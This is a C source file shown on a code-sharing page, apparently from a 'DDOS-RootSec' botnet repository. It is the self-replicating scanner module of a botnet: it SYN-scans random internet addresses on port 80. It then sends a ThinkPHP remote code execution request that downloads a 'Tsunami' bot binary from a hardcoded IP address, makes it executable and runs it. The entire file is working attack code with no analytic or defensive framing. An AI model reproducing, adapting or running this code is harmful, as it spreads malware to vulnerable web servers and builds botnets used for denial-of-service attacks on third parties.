Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Botnets/Self Reps/ThinkPHP/thinkphp.c
5038 views
1
#ifdef SELFREP
2
3
#define _GNU_SOURCE
4
5
#ifdef DEBUG
6
#include <stdio.h>
7
#endif
8
#include <unistd.h>
9
#include <stdlib.h>
10
#include <sys/socket.h>
11
#include <arpa/inet.h>
12
#include <sys/select.h>
13
#include <sys/types.h>
14
#include <time.h>
15
#include <fcntl.h>
16
#include <signal.h>
17
#include <errno.h>
18
#include <string.h>
19
#include <linux/ip.h>
20
#include <linux/tcp.h>
21
22
#include "includes.h"
23
#include "thinkphp.h"
24
#include "table.h"
25
#include "rand.h"
26
#include "util.h"
27
#include "checksum.h"
28
29
int thinkphp_scanner_pid = 0, thinkphp_rsck = 0, thinkphp_rsck_out = 0;
30
char thinkphp_scanner_rawpkt[sizeof(struct iphdr) + sizeof(struct tcphdr)] = {0};
31
struct thinkphp_scanner_connection *conn_table;
32
uint32_t thinkphp_fake_time = 0;
33
34
int thinkphp_recv_strip_null(int sock, void *buf, int len, int flags)
35
{
36
int ret = recv(sock, buf, len, flags);
37
38
if (ret > 0)
39
{
40
int i = 0;
41
42
for (i = 0; i < ret; i++)
43
{
44
if (((char *)buf)[i] == 0x00)
45
{
46
((char *)buf)[i] = 'A';
47
}
48
}
49
}
50
51
return ret;
52
}
53
54
void thinkphp_scanner(void)
55
{
56
int i = 0;
57
uint16_t source_port;
58
struct iphdr *iph;
59
struct tcphdr *tcph;
60
61
// Let parent continue on main thread
62
thinkphp_scanner_pid = fork();
63
if (thinkphp_scanner_pid > 0 || thinkphp_scanner_pid == -1)
64
return;
65
66
LOCAL_ADDR = util_local_addr();
67
68
rand_init();
69
thinkphp_fake_time = time(NULL);
70
conn_table = calloc(thinkphp_SCANNER_MAX_CONNS, sizeof(struct thinkphp_scanner_connection));
71
for (i = 0; i < thinkphp_SCANNER_MAX_CONNS; i++)
72
{
73
conn_table[i].state = thinkphp_SC_CLOSED;
74
conn_table[i].fd = -1;
75
}
76
77
// Set up raw socket scanning and payload
78
if ((thinkphp_rsck = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
79
{
80
#ifdef DEBUG
81
printf("[scanner] failed to initialize raw socket, cannot scan\n");
82
#endif
83
exit(0);
84
}
85
fcntl(thinkphp_rsck, F_SETFL, O_NONBLOCK | fcntl(thinkphp_rsck, F_GETFL, 0));
86
i = 1;
87
if (setsockopt(thinkphp_rsck, IPPROTO_IP, IP_HDRINCL, &i, sizeof(i)) != 0)
88
{
89
#ifdef DEBUG
90
printf("[scanner] failed to set IP_HDRINCL, cannot scan\n");
91
#endif
92
close(thinkphp_rsck);
93
exit(0);
94
}
95
96
do
97
{
98
source_port = rand_next() & 0xffff;
99
} while (ntohs(source_port) < 1024);
100
101
iph = (struct iphdr *)thinkphp_scanner_rawpkt;
102
tcph = (struct tcphdr *)(iph + 1);
103
104
// Set up IPv4 header
105
iph->ihl = 5;
106
iph->version = 4;
107
iph->tot_len = htons(sizeof(struct iphdr) + sizeof(struct tcphdr));
108
iph->id = rand_next();
109
iph->ttl = 64;
110
iph->protocol = IPPROTO_TCP;
111
112
// Set up TCP header
113
tcph->dest = htons(80);
114
tcph->source = source_port;
115
tcph->doff = 5;
116
tcph->window = rand_next() & 0xffff;
117
tcph->syn = TRUE;
118
119
#ifdef DEBUG
120
printf("[scanner] scanner process initialized. scanning started.\n");
121
#endif
122
123
// Main logic loop
124
while (TRUE)
125
{
126
fd_set fdset_rd, fdset_wr;
127
struct thinkphp_scanner_connection *conn;
128
struct timeval tim;
129
int last_avail_conn, last_spew, mfd_rd = 0, mfd_wr = 0, nfds;
130
131
// Spew out SYN to try and get a response
132
if (thinkphp_fake_time != last_spew)
133
{
134
last_spew = thinkphp_fake_time;
135
136
for (i = 0; i < thinkphp_SCANNER_RAW_PPS; i++)
137
{
138
struct sockaddr_in paddr = {0};
139
struct iphdr *iph = (struct iphdr *)thinkphp_scanner_rawpkt;
140
struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
141
142
iph->id = rand_next();
143
iph->saddr = LOCAL_ADDR;
144
iph->daddr = thinkphp_get_random_ip();
145
iph->check = 0;
146
iph->check = checksum_generic((uint16_t *)iph, sizeof(struct iphdr));
147
148
tcph->dest = htons(80);
149
tcph->seq = iph->daddr;
150
tcph->check = 0;
151
tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof(struct tcphdr)), sizeof(struct tcphdr));
152
153
paddr.sin_family = AF_INET;
154
paddr.sin_addr.s_addr = iph->daddr;
155
paddr.sin_port = tcph->dest;
156
157
sendto(thinkphp_rsck, thinkphp_scanner_rawpkt, sizeof(thinkphp_scanner_rawpkt), MSG_NOSIGNAL, (struct sockaddr *)&paddr, sizeof(paddr));
158
}
159
}
160
161
// Read packets from raw socket to get SYN+ACKs
162
last_avail_conn = 0;
163
while (TRUE)
164
{
165
int n = 0;
166
char dgram[1514];
167
struct iphdr *iph = (struct iphdr *)dgram;
168
struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
169
struct thinkphp_scanner_connection *conn;
170
171
errno = 0;
172
n = recvfrom(thinkphp_rsck, dgram, sizeof(dgram), MSG_NOSIGNAL, NULL, NULL);
173
if (n <= 0 || errno == EAGAIN || errno == EWOULDBLOCK)
174
break;
175
176
if (n < sizeof(struct iphdr) + sizeof(struct tcphdr))
177
continue;
178
if (iph->daddr != LOCAL_ADDR)
179
continue;
180
if (iph->protocol != IPPROTO_TCP)
181
continue;
182
if (tcph->source != htons(80))
183
continue;
184
if (tcph->dest != source_port)
185
continue;
186
if (!tcph->syn)
187
continue;
188
if (!tcph->ack)
189
continue;
190
if (tcph->rst)
191
continue;
192
if (tcph->fin)
193
continue;
194
if (htonl(ntohl(tcph->ack_seq) - 1) != iph->saddr)
195
continue;
196
197
conn = NULL;
198
for (n = last_avail_conn; n < thinkphp_SCANNER_MAX_CONNS; n++)
199
{
200
if (conn_table[n].state == thinkphp_SC_CLOSED)
201
{
202
conn = &conn_table[n];
203
last_avail_conn = n;
204
break;
205
}
206
}
207
208
// If there were no slots, then no point reading any more
209
if (conn == NULL)
210
break;
211
212
conn->dst_addr = iph->saddr;
213
conn->dst_port = tcph->source;
214
thinkphp_setup_connection(conn);
215
}
216
217
FD_ZERO(&fdset_rd);
218
FD_ZERO(&fdset_wr);
219
220
for (i = 0; i < thinkphp_SCANNER_MAX_CONNS; i++)
221
{
222
int timeout = 5;
223
224
conn = &conn_table[i];
225
//timeout = (conn->state > thinkphp_SC_CONNECTING ? 30 : 5);
226
227
if (conn->state != thinkphp_SC_CLOSED && (thinkphp_fake_time - conn->last_recv) > timeout)
228
{
229
close(conn->fd);
230
conn->fd = -1;
231
conn->state = thinkphp_SC_CLOSED;
232
util_zero(conn->rdbuf, sizeof(conn->rdbuf));
233
234
continue;
235
}
236
237
if (conn->state == thinkphp_SC_CONNECTING || conn->state == thinkphp_SC_EXPLOIT_STAGE2 || conn->state == thinkphp_SC_EXPLOIT_STAGE3)
238
{
239
FD_SET(conn->fd, &fdset_wr);
240
if (conn->fd > mfd_wr)
241
mfd_wr = conn->fd;
242
}
243
else if (conn->state != thinkphp_SC_CLOSED)
244
{
245
FD_SET(conn->fd, &fdset_rd);
246
if (conn->fd > mfd_rd)
247
mfd_rd = conn->fd;
248
}
249
}
250
251
tim.tv_usec = 0;
252
tim.tv_sec = 1;
253
nfds = select(1 + (mfd_wr > mfd_rd ? mfd_wr : mfd_rd), &fdset_rd, &fdset_wr, NULL, &tim);
254
thinkphp_fake_time = time(NULL);
255
256
for (i = 0; i < thinkphp_SCANNER_MAX_CONNS; i++)
257
{
258
conn = &conn_table[i];
259
260
if (conn->fd == -1)
261
continue;
262
263
if (FD_ISSET(conn->fd, &fdset_wr))
264
{
265
int err = 0, ret = 0;
266
socklen_t err_len = sizeof(err);
267
268
ret = getsockopt(conn->fd, SOL_SOCKET, SO_ERROR, &err, &err_len);
269
if (err == 0 && ret == 0)
270
{
271
if (conn->state == thinkphp_SC_EXPLOIT_STAGE2)
272
{
273
#ifdef DEBUG
274
printf("[scanner] FD%d sending payload\n", conn->fd);
275
#endif
276
277
util_strcpy(conn->payload_buf, "GET /index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://188.166.2.226/OwO/Tsunami.x86 -O /tmp/.Tsunami; chmod 777 /tmp/.Tsunami; /tmp/.Tsunami Tsunami.x86' HTTP/1.1\r\nConnection: keep-alive\r\nAccept-Encoding: gzip, deflate\r\nAccept: /\r\nUser-Agent: r00ts3c-owned-you\r\n\r\n");
278
send(conn->fd, conn->payload_buf, util_strlen(conn->payload_buf), MSG_NOSIGNAL);
279
util_zero(conn->payload_buf, sizeof(conn->payload_buf));
280
util_zero(conn->rdbuf, sizeof(conn->rdbuf));
281
282
close(conn->fd);
283
thinkphp_setup_connection(conn);
284
conn->state = thinkphp_SC_EXPLOIT_STAGE3;
285
286
continue;
287
}
288
else if (conn->state == thinkphp_SC_EXPLOIT_STAGE3)
289
{
290
#ifdef DEBUG
291
printf("[scanner] FD%d finnished\n", conn->fd);
292
#endif
293
294
close(conn->fd);
295
conn->fd = -1;
296
conn->state = thinkphp_SC_CLOSED;
297
298
continue;
299
}
300
else
301
{
302
#ifdef DEBUG
303
printf("[scanner] FD%d connected to %d.%d.%d.%d\n", conn->fd, conn->dst_addr & 0xff, (conn->dst_addr >> 8) & 0xff, (conn->dst_addr >> 16) & 0xff, (conn->dst_addr >> 24) & 0xff);
304
#endif
305
306
conn->state = thinkphp_SC_EXPLOIT_STAGE2;
307
}
308
}
309
else
310
{
311
close(conn->fd);
312
conn->fd = -1;
313
conn->state = thinkphp_SC_CLOSED;
314
315
continue;
316
}
317
}
318
319
if (FD_ISSET(conn->fd, &fdset_rd))
320
{
321
while (TRUE)
322
{
323
int ret = 0;
324
325
if (conn->state == thinkphp_SC_CLOSED)
326
break;
327
328
if (conn->rdbuf_pos == thinkphp_SCANNER_RDBUF_SIZE)
329
{
330
memmove(conn->rdbuf, conn->rdbuf + thinkphp_SCANNER_HACK_DRAIN, thinkphp_SCANNER_RDBUF_SIZE - thinkphp_SCANNER_HACK_DRAIN);
331
conn->rdbuf_pos -= thinkphp_SCANNER_HACK_DRAIN;
332
}
333
334
errno = 0;
335
ret = thinkphp_recv_strip_null(conn->fd, conn->rdbuf + conn->rdbuf_pos, thinkphp_SCANNER_RDBUF_SIZE - conn->rdbuf_pos, MSG_NOSIGNAL);
336
if (ret == 0)
337
{
338
errno = ECONNRESET;
339
ret = -1;
340
}
341
if (ret == -1)
342
{
343
if (errno != EAGAIN && errno != EWOULDBLOCK)
344
{
345
if (conn->state == thinkphp_SC_EXPLOIT_STAGE2)
346
{
347
close(conn->fd);
348
thinkphp_setup_connection(conn);
349
continue;
350
}
351
352
close(conn->fd);
353
conn->fd = -1;
354
conn->state = thinkphp_SC_CLOSED;
355
util_zero(conn->rdbuf, sizeof(conn->rdbuf));
356
}
357
break;
358
}
359
360
conn->rdbuf_pos += ret;
361
conn->last_recv = thinkphp_fake_time;
362
363
int len = util_strlen(conn->rdbuf);
364
conn->rdbuf[len] = 0;
365
}
366
}
367
}
368
}
369
}
370
371
void thinkphp_kill(void)
372
{
373
kill(thinkphp_scanner_pid, 9);
374
}
375
376
static void thinkphp_setup_connection(struct thinkphp_scanner_connection *conn)
377
{
378
struct sockaddr_in addr = {0};
379
380
if (conn->fd != -1)
381
close(conn->fd);
382
383
if ((conn->fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
384
{
385
return;
386
}
387
388
conn->rdbuf_pos = 0;
389
util_zero(conn->rdbuf, sizeof(conn->rdbuf));
390
391
fcntl(conn->fd, F_SETFL, O_NONBLOCK | fcntl(conn->fd, F_GETFL, 0));
392
393
addr.sin_family = AF_INET;
394
addr.sin_addr.s_addr = conn->dst_addr;
395
addr.sin_port = conn->dst_port;
396
397
conn->last_recv = thinkphp_fake_time;
398
399
if (conn->state == thinkphp_SC_EXPLOIT_STAGE2 || conn->state == thinkphp_SC_EXPLOIT_STAGE3)
400
{
401
}
402
else
403
{
404
conn->state = thinkphp_SC_CONNECTING;
405
}
406
407
connect(conn->fd, (struct sockaddr *)&addr, sizeof(struct sockaddr_in));
408
}
409
410
static ipv4_t thinkphp_get_random_ip(void)
411
{
412
uint32_t tmp;
413
uint8_t o1 = 0, o2 = 0, o3 = 0, o4 = 0;
414
415
do
416
{
417
tmp = rand_next();
418
419
srand(time(NULL));
420
o1 = tmp & 0xff;
421
o2 = (tmp >> 8) & 0xff;
422
o3 = (tmp >> 16) & 0xff;
423
o4 = (tmp >> 24) & 0xff;
424
}
425
while(o1 == 127 || // 127.0.0.0/8 - Loopback
426
(o1 == 0) || // 0.0.0.0/8 - Invalid address space
427
(o1 == 3) || // 3.0.0.0/8 - General Electric Company
428
(o1 == 15 || o1 == 16) || // 15.0.0.0/7 - Hewlett-Packard Company
429
(o1 == 56) || // 56.0.0.0/8 - US Postal Service
430
(o1 == 10) || // 10.0.0.0/8 - Internal network
431
(o1 == 192 && o2 == 168) || // 192.168.0.0/16 - Internal network
432
(o1 == 172 && o2 >= 16 && o2 < 32) || // 172.16.0.0/14 - Internal network
433
(o1 == 100 && o2 >= 64 && o2 < 127) || // 100.64.0.0/10 - IANA NAT reserved
434
(o1 == 169 && o2 > 254) || // 169.254.0.0/16 - IANA NAT reserved
435
(o1 == 198 && o2 >= 18 && o2 < 20) || // 198.18.0.0/15 - IANA Special use
436
(o1 >= 224) || // 224.*.*.*+ - Multicast
437
(o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 55 || o1 == 214 || o1 == 215) // Department of Defense
438
);
439
440
int randnum = rand() % 3;
441
if (randnum == 0)
442
{
443
return INET_ADDR(88,o2,o3,o4);
444
}
445
if (randnum == 1)
446
{
447
return INET_ADDR(95,o2,o3,o4);
448
}
449
if (randnum == 2)
450
{
451
return INET_ADDR(112,o2,o3,o4);
452
}
453
if (randnum == 3)
454
{
455
return INET_ADDR(o1,o2,o3,o4);
456
}
457
}
458
#endif
459
460